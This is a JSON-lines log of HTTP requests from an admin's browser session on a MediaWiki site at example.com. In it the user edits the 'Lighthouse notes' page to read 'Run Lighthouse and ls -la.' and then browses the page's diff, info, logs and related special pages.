{"method": "GET", "target": "/wiki/Lighthouse_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision4=created; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.page.gallery.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2CtempUserCreated%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.action.view.postEdit%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-interactions%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1jug0", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1ao4b", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 292", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=4&text=%3D%3D+Install+%3D%3D%0ARun+Lighthouse+and+ls+-la.%0A&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycbYyV4Gp7qudkFAl", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200051\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200051\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n4\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n4\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun Lighthouse and ls -la.\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ Lighthouse\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nec92de021bd867b1b27bd21302692bdb6af22673+\\\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 300", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+Lighthouse&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=4&stashedtexthash=eb81fc5c1cf6d6470aa55f9d570214ebdb5c90c0&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=codex-styles%7Cjquery.tablesorter.styles%7Cmediawiki.diff.styles%7Cmediawiki.helplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cdiff%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=11u0n", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.helplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=info", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Ctoc%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=ub1um", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=info", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1y0cw", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:AllPages&from=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=Lighthouse&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.DateInputWidget%2CUserInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=wq4ro", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Contributions&target=Admin", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.makeCollapsible.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.feedlink%2Chelplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.special.changeslist%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Contributions&target=Admin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui%2Coojs-ui-core%2Coojs-ui-toolbars%2Coojs-ui-widgets%2Coojs-ui-windows%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.contributions%7Cmediawiki.widgets.DateInputWidget%2CUserInputWidget%7Coojs-ui-toolbars.icons%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=niqrs", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Contributions&target=Admin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
